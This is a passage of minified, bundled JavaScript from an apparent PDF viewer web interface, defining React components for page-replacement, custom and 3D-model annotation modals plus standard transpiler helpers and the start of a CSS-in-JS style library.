n()},dataElement:"pageReplacementModalClose"})),s.a.createElement("div",{className:"page-replacement-divider"}),s.a.createElement("div",{className:"modal-body"},s.a.createElement("div",{className:"replace-page-input-container"},s.a.createElement("div",{className:"replace-page-input"},u("option.pageReplacementModal.pageReplaceInputLabel")),s.a.createElement(bF,{selectedPageNumbers:f,pageCount:I,onBlurHandler:d}),s.a.createElement("div",{className:"replace-page-input"},s.a.createElement("span",{className:"page-replace-doc-name"},k)," ",u("option.pageReplacementModal.pageReplaceInputFromSource")),s.a.createElement(bF,{selectedPageNumbers:L(),pageCount:R,onBlurHandler:function(e){var t=e.reduce((function(e,t){return EF(EF({},e),{},SF({},t,!0))}),{});m(EF({},t))}}),s.a.createElement("div",{className:"replace-page-input"},s.a.createElement("span",{className:"page-replace-doc-name"},A))),s.a.createElement("div",{className:js()("modal-body-container",{isLoading:w})},function(){if(v.length>0)return v.map((function(e,t){var n=t+1;return s.a.createElement(pF,{key:n,onChange:function(){return function(e){void 0===h[e]?h[e]=!0:h[e]=!h[e],m(EF({},h))}(n)},checked:!!h[n],index:t,thumbnail:e})}));var e=o?o.getPageCount():0,t="".concat(C,"/").concat(e);return s.a.createElement("div",null,u("message.processing")," ",t)}())),s.a.createElement("div",{className:"page-replacement-divider"}),s.a.createElement("div",{className:js()("footer",{isFileSelected:!w})},s.a.createElement("button",{className:js()("deselect-thumbnails",{disabled:w}),onClick:function(){m({})},disabled:w},u("action.deselectAll")),s.a.createElement(bf,{className:"modal-btn replace-btn",onClick:function(){return e=L(),i(o,f,e),void n();var e},label:u("action.replace"),disabled:function(){for(var e in h)if(h[e])return!1;return!0}()})))}));function TF(){return(TF=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}var kF=s.a.forwardRef((function(e,t){var n=vt.getDocument();return s.a.createElement(_F,TF({},e,{documentInViewer:n,replacePagesHandler:pO,ref:t}))}));function PF(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function MF(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function RF(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){MF(i,r,o,a,l,"next",e)}function l(e){MF(i,r,o,a,l,"throw",e)}a(void 0)}))}}function jF(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return LF(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return LF(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function LF(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var IF=new RegExp(/^(?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~:/?#[\]@!\$&'\(\)\*\+,;=.]+$/,"m"),NF={loadAsPDF:!0,l:window.sampleL},DF=function(e){var t=e.closeModal,n=e.selectableFiles,r=e.isOpen,o=e.selectedThumbnailPageIndexes,i=e.selectedTab,a=jF(Ks(),1)[0],u=jF(Object(l.useState)({}),2),c=u[0],f=u[1],d=jF(Object(l.useState)(null),2),p=d[0],h=d[1],m=jF(Object(l.useState)(!1),2),g=m[0],v=m[1],y=jF(Object(l.useState)(null),2),b=y[0],w=y[1];Object(l.useEffect)((function(){r&&b!==i&&w(i)}));var E=function(){h(null),v(!1);var e=document.getElementById("file-picker-two");e&&(e.value=null),t(),w(null),f({})},S=js()({Modal:!0,PageReplacementModal:!0,open:r,closed:!r}),C=c[b],x=function(){var e=RF(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(v(!0),!C||"customFileListPanelButton"!==b){e.next=9;break}if(!C.onSelect){e.next=7;break}return e.next=5,C.onSelect();case 5:t=e.sent,h(t);case 7:e.next=14;break;case 9:if(!C){e.next=14;break}return e.next=12,vt.createDocument(C,NF);case 12:t=e.sent,h(t);case 14:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}(),O=function(){var e=RF(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!(t instanceof instance.Core.Document)){e.next=4;break}n=t,e.next=7;break;case 4:return e.next=6,vt.createDocument(t,NF);case 6:n=e.sent;case 7:h(n),v(!0);case 9:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),A=void 0===C;"urlInputPanelButton"!==b||IF.test(C)||(A=!0);var _;return r?s.a.createElement(Op,{onSwipedUp:E,onSwipedDown:E,preventDefaultTouchmoveEvent:!0},s.a.createElement("div",{className:S,"data-element":"pageReplacementModal",onMouseDown:E,id:"pageReplacementModal"},s.a.createElement(Jp,{locked:r},g?s.a.createElement(kF,{closeThisModal:E,pageIndicesToReplace:o,sourceDocument:p}):(_=n&&n.length>0,s.a.createElement("div",{className:"container tabs",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"header"},a("component.pageReplaceModalTitle"),s.a.createElement(bf,{img:"icon-close",onClick:E,dataElement:"pageReplacementModalClose"})),s.a.createElement(xb,{className:"page-replacement-tabs",id:"pageReplacementModal"},s.a.createElement("div",{className:"tab-list"},_&&s.a.createElement(Ob,{dataElement:"customFileListPanelButton"},s.a.createElement("button",{className:"tab-options-button"},a("component.files"))),s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:"urlInputPanelButton"},s.a.createElement("button",{className:"tab-options-button"},a("link.url"))),s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:"filePickerPanelButton"},s.a.createElement("button",{className:"tab-options-button"},a("option.pageReplacementModal.localFile")))),s.a.createElement("div",{className:"page-replacement-divider"}),s.a.createElement(_b,{dataElement:"customFileListPanel"},s.a.createElement("div",{className:"panel-body"},s.a.createElement(dF,{onFileSelect:function(e){f(PF({},b,e))},list:n,defaultValue:C}))),s.a.createElement(_b,{dataElement:"urlInputPanel"},s.a.createElement("div",{className:"panel-body"},s.a.createElement(mE,{onFileSelect:function(e){f(PF({},b,e))},defaultValue:c.urlInputPanelButton}))),s.a.createElement(_b,{dataElement:"filePickerPanel"},s.a.createElement("div",{className:"panel-body"},s.a.createElement(wE,{onFileProcessed:function(e){return O(e)}})))),s.a.createElement("div",{className:"page-replacement-divider"}),s.a.createElement("div",{className:"footer"},s.a.createElement(bf,{className:js()("modal-btn",{noFile:A}),onClick:function(){return A?null:x()},label:a("action.select")}))))))):null},FF=["closePageReplacement"];function BF(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function HF(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?BF(Object(n),!0).forEach((function(t){VF(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):BF(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function VF(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function zF(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var UF=function(e){var t=e.closePageReplacement,n=zF(e,FF),r=Object(l.useCallback)((function(){t()}),[t]),o=HF(HF({},n),{},{closeModal:r});return s.a.createElement(DF,o)};function GF(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function WF(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?GF(Object(n),!0).forEach((function(t){qF(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):GF(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function qF(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ZF(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return YF(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return YF(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function YF(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var $F=function(e){var t=re(),n=le((function(e){return fi.getPageReplacementFileList(e)})),r=ZF(le((function(e){return[fi.isElementOpen(e,"pageReplacementModal")]})),1)[0],o=le((function(e){return fi.getSelectedThumbnailPageIndexes(e)})),i=le((function(e){return fi.getSelectedTab(e,"pageReplacementModal")})),a=WF(WF({},e),{},{closePageReplacement:function(){t(Ps.closeElement("pageReplacementModal"))},selectableFiles:n,isOpen:r,selectedThumbnailPageIndexes:o,selectedTab:i});return s.a.createElement(UF,a)};n(1097);function KF(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return XF(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return XF(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function XF(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function QF(e){try{return e instanceof window.Node||e instanceof window.parent.Node}catch(e){return!1}}var JF={dataElement:Is.a.string.isRequired,isOpen:Is.a.bool,render:Is.a.func,element:Is.a.object,close:Is.a.func,disableBackdropClick:Is.a.bool,disableEscapeKeyDown:Is.a.bool};function eB(e){var t=e.dataElement,n=e.isOpen,r=e.element,o=e.render,i=e.close,a=e.disableBackdropClick,l=e.disableEscapeKeyDown,u=s.a.useRef();s.a.useLayoutEffect((function(){if(o&&n&&u.current){u.current.focus();var e=o();if("string"==typeof e&&(e=document.createTextNode(e)),QF(e)){for(;u.current.firstChild;)u.current.removeChild(u.current.lastChild);u.current.appendChild(e)}}}),[n,o]);var c=s.a.useCallback((function(){a||i(t)}),[i,t,a]),f=s.a.useCallback((function(e){e&&27===e.which&&!l&&i(t)}),[i,t,l]);s.a.useEffect((function(){if(n)return document.addEventListener("keydown",f),function(){document.removeEventListener("keydown",f)}}),[f,n]);var d=["Modal CustomModal"];return d.push(t),n?d.push("open"):d.push("closed"),s.a.createElement("div",{role:"button",tabIndex:"-1",className:d.join(" "),"data-element":t,onClick:c},s.a.createElement("div",{ref:u,className:"CustomModal-container",onClick:function(e){return e.stopPropagation()}},r))}function tB(){var e=KF(le((function(e){return[fi.getCustomModals(e),fi.getOpenElements(e),fi.getDisabledElements(e)]}),N),3),t=e[0],n=e[1],r=e[2],o=re(),i=s.a.useCallback((function(e){o(Ps.closeElement(e))}),[o]),a=s.a.useRef([]);a.current=t.map((function(e,t){var n;return null!==(n=a.current[t])&&void 0!==n?n:s.a.createRef()}));var l=s.a.useRef([]);l.current=t.map((function(e,t){var n;return null!==(n=l.current[t])&&void 0!==n?n:s.a.createRef()}));var u=s.a.useRef([]);return u.current=t.map((function(e,t){var n;return null!==(n=u.current[t])&&void 0!==n?n:s.a.createRef()})),t.map((function(e,t){var o=e.dataElement,c=e.disableBackdropClick,f=void 0!==c&&c,d=e.disableEscapeKeyDown,p=void 0!==d&&d,h=e.render,m=n[o],g=r[o];if(g&&!0===g.disabled)return null;var v=e.header,y=e.body,b=e.footer,w=null,E=null,S=null,C=function(e,n,r){var o,i;e?(i=n,QF(o=e)&&i.current[t].current&&i.current[t].current.appendChild(o)):r&&r.length&&r.forEach((function(e,r){var o;if(QF(e))e.classList.add("customEl"+r),o=e;else{var i=e.title,a=e.button,l=e.className,s=e.style,u=e.onClick,c=void 0===u?null:u;if(o=a?document.createElement("button"):document.createElement("div"),l=(l=a?"Button "+l:l)?l.split(" ").forEach((function(e){return o.classList.add(e)})):l,o.classList.add("customEl"+r),o.innerText=i,o.onclick=c,s){var f=Object.entries(s).map((function(e){var t=KF(e,2),n=t[0],r=t[1];return Number.isInteger(r)?"".concat(n,":").concat(r,"px"):"".concat(n,":").concat(r)})).join(";");o.style=f}}var d=n.current[t];if(d&&d.current){var p=d.current.querySelector(".customEl"+r);p?d.current.replaceChild(o,p):d.current.appendChild(o)}}))};if(v){var x=v.className,O=v.style,A=v.children,_=void 0===A?[]:A,T=v.innerHTML,k=void 0===T?null:T,P=v.title;P=P&&!k?s.a.createElement("p",null,P):null,C(k,a,_),w=s.a.createElement("div",{ref:a.current[t],className:"CustomModal-header "+x,style:O},P)}if(y){var M=y.className,R=y.style,j=y.children,L=void 0===j?[]:j,I=y.innerHTML,N=void 0===I?null:I,D=y.title;D=D&&!N?s.a.createElement("p",null,D):null,C(N,l,L),E=s.a.createElement("div",{ref:l.current[t],className:"CustomModal-body "+M,style:R},D)}if(b){var F=b.className,B=b.style,H=b.children,V=void 0===H?[]:H,z=b.innerHTML,U=void 0===z?null:z,G=b.title;G=G&&!U?s.a.createElement("p",null,G):null,C(U,u,V),S=s.a.createElement("div",{ref:u.current[t],className:"CustomModal-footer "+F,style:B},G)}var W=null;return(v||y||b)&&(W=s.a.createElement(s.a.Fragment,null,w,E,S),h=null),s.a.createElement(eB,{key:o,dataElement:o,isOpen:m,render:h,element:W,close:i,disableBackdropClick:f,disableEscapeKeyDown:p})})).filter(Boolean)}eB.propTypes=JF;var nB=s.a.memo(tB);n(1098);function rB(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function oB(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?rB(Object(n),!0).forEach((function(t){iB(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):rB(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function iB(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function aB(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function lB(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){aB(i,r,o,a,l,"next",e)}function l(e){aB(i,r,o,a,l,"throw",e)}a(void 0)}))}}function sB(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return uB(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return uB(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function uB(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var cB=function(e){var t=e.fileInput,n=e.urlInput,r=e.error,o=e.setError,i=e.file,a=e.setFile,u=e.url,c=e.setURL,f=e.closeModal,d=e.isDisabled,p=e.isOpen,h=sB(Ks(),1)[0],m=sB(Object(l.useState)("url"),2),g=m[0],v=m[1],y=sB(Object(l.useState)(""),2),b=y[0],w=y[1],E=s.a.createRef(),S=s.a.createRef(),C=function e(t){var n=new Annotations.Model3DAnnotation;n.set3DData(b),"url"===g&&n.set3DData(u,"url");var r=window.documentViewer.getZoomLevel();n.X=t.layerX/r,n.Y=t.layerY/r,n.Width=300,n.Height=300,n.Author=vt.getCurrentUser(),n.setPageNumber(window.documentViewer.getCurrentPage()),vt.addAnnotations([n]),vt.drawAnnotationsFromList([n]),vt.removeEventListener("click",e)},x=function(e){return e.split(".").pop()},O=function(){var e=lB(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(t.preventDefault(),"url"!==g){e.next=15;break}if("glb"===x(u)){e.next=7;break}return o(oB(oB({},r),{urlError:h("Model3D.formatError")})),e.abrupt("return");case 7:return n=function(){var e=lB(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return n=function(e){return new Promise((function(t){var n=new XMLHttpRequest;n.onload=lB(regeneratorRuntime.mark((function e(){var r;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return(r=new FileReader).onloadend=function(){t(r.result)},e.next=4,r.readAsDataURL(n.response);case 4:case"end":return e.stop()}}),e)}))),n.open("GET",e),n.responseType="blob",n.send()}))},e.next=3,n(t);case 3:return e.abrupt("return",e.sent);case 4:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),e.t0=w,e.next=11,n(u);case 11:e.t1=e.sent,(0,e.t0)(e.t1);case 13:e.next=19;break;case 15:if("file"!==g){e.next=19;break}if("glb"===x(i.name)){e.next=19;break}return o(oB(oB({},r),{urlError:h("Model3D.formatError")})),e.abrupt("return");case 19:f(),vt.setToolMode("Pan"),documentViewer.getViewerElement().style.cursor="crosshair",vt.addEventListener("click",C);case 24:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),A=js()({Modal:!0,Model3DModal:!0,open:p,closed:!p}),_=function(){var e=lB(regeneratorRuntime.mark((function e(t){var n,r;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return v("file"),n=t.target.files[0],a(n),r=function(e){return new Promise((function(){var t=new FileReader;t.readAsDataURL(e),t.onload=function(){return w(t.result)}}))},e.next=6,r(n);case 6:o({}),c("");case 8:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),T=s.a.createElement("input",{className:"urlInput",type:"url",ref:n,value:u,onChange:function(e){return function(e){v("url"),c(e.trim()),o(""),t.current.value=null}(e.target.value)},onFocus:function(){return E.current.click()},placeholder:h("Model3D.enterurl")}),k=s.a.createElement("input",{type:"file",ref:t,onChange:_,accept:".glb",onFocus:function(){return S.current.click()}});return d?null:s.a.createElement(Op,{onSwipedUp:f,onSwipedDown:f,preventDefaultTouchmoveEvent:!0},s.a.createElement("div",{className:A,"data-element":"Model3DModal",onMouseDown:f},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("form",{onSubmit:O},s.a.createElement("div",{className:"col"},h("Model3D.enterurlOrLocalFile")),s.a.createElement(ry,{dataElement:"3DAnnotationLink",id:"3D-annotation-link",name:"3DInput",className:"inputWrapper",ref:E,radio:!0,label:T,center:!0}),(null==r?void 0:r.urlError)&&s.a.createElement("p",{className:"error"},"* ",r.urlError),s.a.createElement(ry,{dataElement:"3DAnnotationLocalFile",id:"3D-annotation-file",name:"3DInput",className:"inputWrapper",ref:S,radio:!0,label:k,center:!0}),(null==r?void 0:r.fileError)&&s.a.createElement("p",{className:"error"},"* ",r.fileError),s.a.createElement(bf,{dataElement:"linkSubmitButton",label:h("action.draw"),onClick:O})))))},fB=["close3DModal"];function dB(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function pB(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?dB(Object(n),!0).forEach((function(t){hB(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):dB(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function hB(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function mB(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var gB=function(e){var t=e.close3DModal,n=mB(e,fB),r=Object(l.useCallback)((function(){t()}),[t]),o=pB(pB({},n),{},{closeModal:r});return s.a.createElement(cB,o)};function vB(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function yB(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?vB(Object(n),!0).forEach((function(t){bB(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):vB(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function bB(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function wB(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return EB(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return EB(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function EB(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var SB=function(e){var t=re(),n=wB(Object(l.useState)(""),2),r=n[0],o=n[1],i=wB(Object(l.useState)({}),2),a=i[0],u=i[1],c=wB(Object(l.useState)({fileError:"",urlError:""}),2),f=c[0],d=c[1],p=s.a.createRef(),h=s.a.createRef(),m=wB(le((function(e){return[fi.isElementDisabled(e,"Model3DModal"),fi.isElementOpen(e,"Model3DModal")]})),2),g=m[0],v=m[1];Object(l.useEffect)((function(){var e=function(){t(Ps.closeElement("Model3DModal"))};return vt.addEventListener("toolUpdated",e),function(){return vt.removeEventListener("toolUpdated",e)}}),[]),Object(l.useEffect)((function(){v&&(h.current.focus(),t(Ps.closeElements(["printModal","loadingModal","progressModal","errorModal","OpenFileModal"])))}),[t,v]);var y=yB(yB({},e),{},{isDisabled:g,isOpen:v,close3DModal:function(){t(Ps.closeElement("Model3DModal")),o(""),u({}),d({}),p.current&&(p.current.value=null)},fileInput:p,urlInput:h,error:f,setError:d,file:a,setFile:u,url:r,setURL:o});return s.a.createElement(gB,y)},CB=Object(l.forwardRef)((function(e,t){var n=e.message,r=void 0===n?"default":n,o=e.messageText,i=e.fillWidth,a=e.wrapperClassName,u=e.padMessageText,c=e.className,f=e.onFocus,d=e.onBlur,p=e.rightElement,h=e.leftElement,m=e.type,g=void 0===m?"text":m,v=_v(e,["message","messageText","fillWidth","wrapperClassName","padMessageText","className","onFocus","onBlur","rightElement","leftElement","type"]),y=kv(f,d),b=y.focused,w=y.handleOnFocus,E=y.handleOnBlur,S=Object(l.useMemo)((function(){if(p)return p;var e=void 0;switch(r){case"warning":e="Warning";break;case"error":e="Error"}return e?s.a.createElement($v,{className:"ui__input__icon",icon:e}):void 0}),[r,p]),C=js()("ui__base ui__input__wrapper",{"ui__input__wrapper--fill":i,"ui__input__wrapper--pad":u&&!o},a),x=js()("ui__input","ui__input--message-"+r,{"ui__input--focused":b}),O=js()("ui__input__input",{"ui__input__input--disabled":v.disabled},c);return s.a.createElement("div",{className:C},s.a.createElement("div",{className:x},h,s.a.createElement("input",Av({},v,{type:g,onFocus:w,onBlur:E,className:O,ref:t})),S),o?s.a.createElement("div",{className:"ui__input__messageText"},o):void 0)}));function xB(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function OB(e,t){if(e){if("string"==typeof e)return xB(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?xB(e,t):void 0}}function AB(e){return function(e){if(Array.isArray(e))return xB(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||OB(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}var _B=function(){function e(e){this.isSpeedy=void 0===e.speedy||e.speedy,this.tags=[],this.ctr=0,this.nonce=e.nonce,this.key=e.key,this.container=e.container,this.before=null}var t=e.prototype;return t.insert=function(e){if(this.ctr%(this.isSpeedy?65e3:1)==0){var t,n=function(e){var t=document.createElement("style");return t.setAttribute("data-emotion",e.key),void 0!==e.nonce&&t.setAttribute("nonce",e.nonce),t.appendChild(document.createTextNode("")),t}(this);t=0===this.tags.length?this.before:this.tags[this.tags.length-1].nextSibling,this.container.insertBefore(n,t),this.tags.push(n)}var r=this.tags[this.tags.length-1];if(this.isSpeedy){var o=function(e){if(e.sheet)return e.sheet;for(var t=0;t<document.styleSheets.length;t++)if(document.styleSheets[t].ownerNode===e)return document.styleSheets[t]}(r);try{var i=105===e.charCodeAt(1)&&64===e.charCodeAt(0);o.insertRule(e,i?0:o.cssRules.length)}catch(e){0}}else r.appendChild(document.createTextNode(e));this.ctr++},t.flush=function(){this.tags.forEach((function(e){return e.parentNode.removeChild(e)})),this.tags=[],this.ctr=0},e}();var TB=function(e){function t(e,t,r){var o=t.trim().split(h);t=o;var i=o.length,a=e.length;switch(a){case 0:case 1:var l=0;for(e=0===a?"":e[0]+" ";l<i;++l)t[l]=n(e,t[l],r).trim();break;default:var s=l=0;for(t=[];l<i;++l)for(var 